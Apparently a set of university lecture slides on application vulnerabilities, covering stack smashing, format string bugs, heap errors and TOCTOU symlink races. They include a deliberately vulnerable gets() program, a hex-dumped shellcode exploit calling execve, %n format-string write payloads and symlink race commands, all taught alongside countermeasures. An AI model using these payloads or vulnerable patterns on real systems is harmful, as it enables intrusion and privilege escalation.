Application Vulnerabilities and Attacks COEN 351.

Application Vulnerabilities and Attacks

COEN 351

Vulnerability and Exploits

Software Defects: A software defect is the encoding of a human error into the

software, including omissions. Security Flaw:

A security flaw is a software defect that poses a potential security risk.

Eliminating software defects eliminate security flaws. A vulnerability is a set of conditions that allows an

attacker to violate an explicit or implicit security policy. Not all security flaws lead to vulnerabilities.

A security flaw can cause a program to be vulnerable to attack.

Vulnerabilities can also exist without a security flaw.

Vulnerabilities and Exploits

Exploit:Proof-of-concept exploits are developed to

prove the existence of a vulnerability.Proof-of-concept exploits are beneficial when

properly managed. Proof-of-concept exploit in the wrong hands

can be quickly transformed into a worm or virus or used in an attack.

Pointer Subterfuge

Pointer Subterfuge modify a pointer’s value.Function pointers are overwritten to transfer

control to an attacker supplied shellcode.Data pointers can also be changed to modify

the program flow according to the attacker’s wishes.

Pointer Subterfuge

Using a buffer overflow: Buffer must be allocated in the

same segment as the target pointer.

Buffer must have a lower memory address than the target pointer.

Buffer must be susceptible to a buffer overflow exploit.

Buffer Overflow A buffer overflow occurs when data is written

outside of the boundaries of the memory allocated to a particular data structure.

SourceMemory

Allocated Memory (8 Bytes)

11 Bytes of Data

Copy Operation

Other Memory

Buffer Overflow

Process Memory Organization

Code or Text: Instructions and read only data

Data: Initialized data, uninitialized data, static variables, global variables

Heap: Dynamically allocated variables

Stack: Local variables, return addresses, etc.

Stack Smashing

When calling a subroutine / function: Stack stores the return address Stack stores arguments, return values Stack stores variables local to the subroutine

Information pushed on the stack for a subroutine call is called a frame. Address of frame is stored in the frame or base point

register. epb on Intel architectures

Stack Smashing#include <iostream>bool IsPasswordOkay(void){

char Password[8];

gets(Password);if (!strcmp(Password, “badprog"))

return(true);else return(false);

}void main() { bool PwStatus;

puts("Enter password:");PwStatus = IsPasswordOkay();if (PwStatus == false){

puts("Access denied");exit(-1);

}else puts("Access granted");

}

Stack Smashing

Storage for PwStatus (4 bytes)

Caller EBP – Frame Ptr OS (4 bytes)

Return Addr of main – OS (4 Bytes)

…

Program stack before call to IsPasswordOkay()

puts("Enter Password:"); PwStatus=ISPasswordOkay(); if (PwStatus==true) puts("Hello, Master"); else puts("Access denied");

Stack

Stack Smashing

Storage for Password (8 Bytes)

Caller EBP – Frame Ptr main (4 bytes)

Return Addr Caller – main (4 Bytes)




…

Program stack during call to IsPasswordOkay()

puts("Enter Password:"); PwStatus=ISPasswordOkay(); if (PwStatus ==true) puts("Hello, Master"); else puts("Access denied");

bool IsPasswordOkay(void){ char Password[8];

gets(Password); if (!strcmp(Password,"badprog")) return(true); else return(false)}

Stack

Stack Smashing

Program stack after call to IsPasswordOkay()

puts("Enter Password:"); PwStatus=ISPasswordOkay(); if (PwStatus ==true) puts("Hello, Master"); else puts("Access denied");







…

Stack

Stack Smashing

What happens if we enter more than 7 characters of an input string?

#include <iostream>bool IsPasswordOkay(void){

char Password[8];

gets(Password);if (!strcmp(Password, “badprog"))

return(true);else return(false);

}void main() { bool PwStatus;

puts("Enter password:");PwStatus = IsPasswordOkay();if (PwStatus == false){

puts("Access denied");exit(-1);

}else puts("Access granted");

}

Stack Smashing

bool IsPasswordOkay(void){ char Password[8];

gets(Password); if (!strcmp(Password,"badprog")) return(true); else return(false)}


“12345678”


“9012”


“3456”


“7890”


“\0”


…

Stack

The return address and other data on the stack is over written because the memory space allocated for the password can only hold a maximum 7 character plus the NULL terminator.

Stack Smashing

A specially crafted string “abcdefghijklW►*!” produced the following result:

Stack Smashing

The string “abcdefghijklW►*!” overwrote 9 extra bytes of memory on the stack changing the callers return address thus skipping the execution of line 3


“abcdefgh”


“ijkl”


“W►*!” (return to line 4 was line 3)


“/0”



Stack

Line Statement

1 puts("Enter Password:");

2 PwStatus=ISPasswordOkay();

3 if (PwStatus ==true)

4 puts("Hello, Master");

5 else puts("Access denied");

Stack Smashing

A buffer overflow can be exploited byChanging the return address in order to

change the program flow (arc-injection)Change the return address to point into the

buffer where it contains some malicious code (Code injection)

Stack Smashing

The get password program can be exploited to execute arbitrary code by providing the following binary data file as input:

000 31 32 33 34 35 36 37 38-39 30 31 32 33 34 35 36 "1234567890123456"

010 37 38 39 30 31 32 33 34-35 36 37 38 E0 F9 FF BF "789012345678a· +"

020 31 C0 A3 FF F9 FF BF B0-0B BB 03 FA FF BF B9 FB "1+ú · +¦+· +¦v"030 F9 FF BF 8B 15 FF F9 FF-BF CD 80 FF F9 FF BF 31 "· +ï§ · +-Ç ·

+1"040 31 31 31 2F 75 73 72 2F-62 69 6E 2F 63 61 6C 0A "111/usr/bin/cal

“

This exploit is specific to Red Hat Linux 9.0 and GCC

Stack Smashing

000 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 "1234567890123456"010 37 38 39 30 31 32 33 34 35 36 37 38 E0 F9 FF BF "789012345678a· +"020 31 C0 A3 FF F9 FF BF B0 0B BB 03 FA FF BF B9 FB "1+ú · +¦+· +¦v"030 F9 FF BF 8B 15 FF F9 FF BF CD 80 FF F9 FF BF 31 "· +ï§ · +-Ç · +1"040 31 31 31 2F 75 73 72 2F 62 69 6E 2F 63 61 6C 0A "111/usr/bin/cal “

The first 16 bytes of binary data fill the allocated storage space for the password. NOTE: Even though the program only allocated 12 bytes for the password, the version of the gcc compiler used allocates stack data in multiples of 16 bytes

Stack Smashing


The next 12 bytes of binary data fill the extra storage space that was created by the compiler to keep the stack aligned on a16-byte boundary.

Stack Smashing


The next 12 bytes of binary data fill the extra storage space that was created by the compiler to keep the stack aligned on a16-byte boundary.

Stack Smashing


The next 4 bytes overwrite the return address. The new return address is 0X BF FF F9 E0 (little-endian)

Stack Smashing

Stack Smashing


The malicious code. Purpose of malicious code is to call execve with a user

provided set of parameters. In this program, instead of spawning a shell, we just call

the linux calculator program.

Stack Smashing


The malicious code: xor %eax,%eax #set eax to zero mov %eax,0xbffff9ff #set to NULL word

Create a zero value and use it to NULL terminate the argument list.

This is necessary to terminate the argument list.

Stack Smashing


The malicious code: xor %eax,%eax #set eax to zero mov %eax,0xbffff9ff #set to NULL word mov $0xb,%al #set code for execve

Set the value of register al to 0xb. This value indicates a system call to execve.

Stack Smashing


The malicious code: mov $0xb,%al #set code for execve mov $0xbffffa03,%ebx #ptr to arg 1 mov $0xbffff9fb,%ecx #ptr to arg 2 mov 0xbffff9ff,%edx #ptr to arg 3

This puts the pointers to the arguments into ebc, ecx, and edx registers.

Stack Smashing


The malicious code: mov $0xbffffa03,%ebx #ptr to arg 1 mov $0xbffff9fb,%ecx #ptr to arg 2 mov 0xbffff9ff,%edx #ptr to arg 3 int $80 # make system call to execve

Now make the system call to execve. The arguments are in the registers.

Stack Smashing


The malicious code: Last part are the arguments.

Stack Smashing

./BufferOverflow < exploit.bin now executes /usr/bin/cal\0.

Stack Smashing Countermeasures

Canaries Protect return addresses Random value is stored before return address. When returning, check whether canary has been

altered. Non-executable stacks

Prevents shellcode injection Randomizing stack layout

Introduce bogus empty blocks of memory on stack Attacker cannot predict stack layout

Data Pointers Example

void foo(void * arg, size_t len) {char buff[100];long val = …;long *ptr = …;memcpy(buff, arg, len);*ptr = val;…return;

}

Buffer is vulnerable to overflow.

Both val and ptr are located after the buffer and can be overwritten.

This allows a buffer overflow to write an arbitrary address in memory.

Data Pointers

Arbitrary memory writes can change the control flow.

This is easier if the length of a pointer is equal to the length of important data structures. Intel 32 Architectures:

sizeof(void*) = sizeof(int) = sizeof(long) = 4B.

Pointer Subterfuge

Targets for memory overwrites:Unix:

GOT table .dtors

Windows Virtual function tables Exception handlers

Details in Secure Programming Course

Format String Vulnerabilities

printf and companions are variadic functions.Variable number of arguments.Format string and addresses of arguments in

the format string are placed on the stack. Format string vulnerability:

User controls (partially) input to printf

Format String Vulnerabilities

Example

1. int func(char *user) {2. printf(user);3. }

If the user argument can be controlled by a user, this program can be exploited to crash the program, view the contents of the stack, view memory content, or overwrite memory

Format String Vulnerability

printf("%s%s%s%s%s%s%s%s%s%s%s%s"); The %s conversion specifier displays memory at an

address specified in the corresponding argument on the execution stack.

Because no string arguments are supplied in this example, printf() reads arbitrary memory locations from the stack until the format string is exhausted or an invalid pointer or unmapped address is encountered.

Viewing Stack Content

Attackers can also exploit formatted output functions to examine the contents of memory.

Disassembled printf() call

0x00000000char format [32]; strcpy(format, "%08x.%08x.%08x.%08x");

printf(format, 1, 2, 3);

1. push 3 2. push 2 3. push 1 4. push offset format5. call _printf 6. add esp,10h

Arguments are pushed onto the stack in reverse order.

the arguments in memory appear in the same order as in the printf() call

Viewing the Contents of the Stack

0x00000000

e0f84201 2e25303801000000 02000000 03000000 25303878

% 0 8 x . % 0 8 x . % 0 8 x . % 0 8 x

00000001.00000002.00000003.25303878

Format string:

Output:

Memory:

Initial argument pointer Final argument pointer

The address of the format string 0xe0f84201 appears in memory followed by the argument values 1, 2, and 3


0x00000000

e0f84201 2e25303801000000 02000000 03000000 25303878

% 0 8 x . % 0 8 x . % 0 8 x . % 0 8 x

00000001.00000002.00000003.25303878

Format string:

Output:

Memory:


The memory immediately following the arguments contains the automatic variables for the calling function, including the contents of the format character array 0x2e253038


0x00000000

e0f84201 2e25303801000000 02000000 03000000 25303878

% 0 8 x . % 0 8 x . % 0 8 x . % 0 8 x

00000001.00000002.00000003.25303878

Format string:

Output:

Memory:


The format string %08x.%08x.%08x.%08 instructs printf() to retrieve four arguments from the stack and display them as eight-digit padded hexadecimal numbers


0x00000000

e0f84201 2e25303801000000 02000000 03000000 25303878

% 0 8 x . % 0 8 x . % 0 8 x . % 0 8 x

00000001.00000002.00000003.25303878

Format string:

Output:

Memory:


As each argument is used by the format specification, the argument pointer is increased by the length of the argument.


0x00000000

e0f84201 2e25303801000000 02000000 03000000 25303878

% 0 8 x . % 0 8 x . % 0 8 x . % 0 8 x

00000001.00000002.00000003.25303878

Format string:

Output:

Memory:


Each %08x in the format string reads a value it interprets as an int from the location identified by the argument pointer.


0x00000000

e0f84201 2e25303801000000 02000000 03000000 25303878

% 0 8 x . % 0 8 x . % 0 8 x . % 0 8 x

00000001.00000002.00000003.25303878

Format string:

Output:

Memory:


The values output by each format string are shown below the format string.


0x00000000

e0f84201 2e25303801000000 02000000 03000000 25303878

% 0 8 x . % 0 8 x . % 0 8 x . % 0 8 x

00000001.00000002.00000003.25303878

Format string:

Output:

Memory:


The fourth “integer” contains the first four bytes of the format string—the ASCII codes for %08x.

Viewing Memory at a Specific Location

0x00000000

dcf54201 25782578

Final argument pointer

e0f84201 01000000 02000000 03000000

\xdc - written to stdout\xf5 - written to stdout\x42 - written to stdout\x01 - written to stdout

%x - advances argument pointer%x - advances argument pointer%x - advances argument pointer%s - outputs string at address specified

Initial argument pointer

Memory:

in next argument

% x % x

address advance-argptr %s\xdc\xf5\x42\x01%x%x%x%s

The series of three %x conversion specifiers advance the argument pointer twelve bytes to the start of the format string

Viewing Memory at a Specific Location

0x00000000

dcf54201 25782578

Final argument pointer

e0f84201 01000000 02000000 03000000

\xdc - written to stdout\xf5 - written to stdout\x42 - written to stdout\x01 - written to stdout

%x - advances argument pointer%x - advances argument pointer%x - advances argument pointer%s - outputs string at address specified

Initial argument pointer

Memory:

in next argument

% x % x

address advance-argptr %s\xdc\xf5\x42\x01%x%x%x%s

The %s conversion specifier displays memory at the address supplied at the beginning of the format string.

Viewing Memory Content

printf() displays memory from 0x0142f5dc until a \0 byte is reached.

The entire address space can be mapped by advancing the address between calls to printf().

Viewing memory at an arbitrary address can help an attacker develop other exploits, such as executing arbitrary code on a compromised machine.


Arbitrary memory can be written by using the %n specifier in the format string.

int i;

printf("hello%n\n", (int *)&i);

The variable i is assigned the value 5 because five characters (h-e-l-l-o) are written until the %n conversion specifier is encountered.

Using the %n conversion specifier, an attacker can write a small integer value to an address.


printf("\xdc\xf5\x42\x01%08x.%08x.%08x%n”);

Writes an integer value corresponding to the number of characters output to the address 0x0142f5dc.

The value written (28) is equal to the eight-character-wide hex fields (times three) plus the four address bytes.

An attacker can overwrite the address with the address of some shellcode.


printf ("%16u%n%16u%n%32u%n%64u%n",

The first %16u%n sequence writes the value 16 to the specified address, but the second %16u%n sequence writes 32 bytes because the counter has not been reset.

Dynamic Memory Errors

Errors change internal heap structures, leading to overwriting an arbitrary memory address with an arbitrary valueDouble free.

Exploited vulnerability in both Linux and Windows

TOCTOU Race Conditions

Race window by checking for some race object and later accessing it.

TOCTOU

#include <stdio.h>#include <unistd.h> int main(int argc, char *argv[]) { FILE *fd; if (access("/some_file", W_OK) == 0) { printf("access granted.\n"); fd = fopen("/some_file", "wb+"); /* write to the file */ fclose(fd); } . . . return 0;}

The access() function is called to check if the file exists and has write permission.

TOCTOU


the file is opened for writing

TOCTOU


Race window

between checking for access and opening file.

TOCTOU

Vulnerability An external process can change or replace the

ownership of some_file. If this program is running with an effective user ID

(UID) of root, the replacement file is opened and written to.

If an attacker can replace some_file with a link during the race window, this code can be exploited to write to any file of the attacker’s choosing.

TOCTOU

The program could be exploited by a user executing the following shell commands during the race window:

rm /some_fileln /myfile /some_file

The TOCTOU condition can be mitigated by replacing the call to access() with logic that drops privileges to the real UID, opens the file with fopen(), and checks to ensure that the file was opened successfully.

TOCTOU Exploits Symbolic Link

if (stat("/some_dir/some_file", &statbuf) == -1) {err(1, "stat");

}if (statbuf.st_size >= MAX_FILE_SIZE) { err(2, "file size");}

if ((fd=open("/some_dir/some_file", O_RDONLY)) == -1) { err(3, "open - /some_dir/some_file");}11. // process file

stats /some_dir/some_file and opens the file for reading if it is not too large.


if (stat("/some_dir/some_file", &statbuf) == -1) {err(1, "stat");

}if (statbuf.st_size >= MAX_FILE_SIZE) { err(2, "file size");}

if ((fd=open("/some_dir/some_file", O_RDONLY)) == -1) { err(3, "open - /some_dir/some_file");}11. // process file

The TOCTOU check occurs with the call of stat()

TOCTOU use is the call to fopen()


Attacker executes the following during the race window : rm /some_dir/some_file ln -s attacker_file /some_dir/some_file

The file passed as an argument to stat() is not the same file that is opened.

The attacker has hijacked /some_dir/some_file by linking this name to attacker_file.


Symbolic links are used because Owner of link does not need any permissions for the

target file. The attacker only needs write permissions for the

directory in which the link is created. Symbolic links can reference a directory. The attacker

might replace /some_dir with a symbolic link to a completely different directory


Example: passwd() functions of SunOS and HP/UX

passwd() requires user to specify password file as parameter

1. Open password file, authenticate user, close file.2. Create and open temporary file ptmp in same directory.3. Reopen password file and copy updated version into ptmp.4. Close both files and rename ptmp as the new password

file.


1. Attacker creates bogus password file called .rhosts2. Attacker places .rhosts into attack_dir3. Real password file is in victim_dir4. Attacker creates symbolic link to attack_dir, called

symdir.5. Attacker calls passwd passing password file as

/symdir/.rhosts.6. Attacker changes /symdir so that password in steps 1

and 3 refers to attack_dir and in steps 2 and 4 to victim_dir.

7. Result: password file in victim_dir is replaced by password file in attack_dir.


Symlink attack can cause exploited software to open, remove, read, or write a hijacked file or directory.

Other example: StarOffice Exploit substitutes a symbolic link for a file

whose permission StarOffice is about to elevate.

Result: File referred to gets permissions updated.

Morale

Existing code base is full of software errors. Changing to safer languages is going to alleviate the

problem. All application software is under suspicion.

Fast patching protects against most attacks. But not zero-day exploits

Patching can break applications, hence: Test on test servers before applying patches.

Decrease attack surface by running as few applications as possible running services at lowest possible privilege level.

Date post:	18-Jan-2016
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Application Vulnerabilities and Attacks COEN 351.

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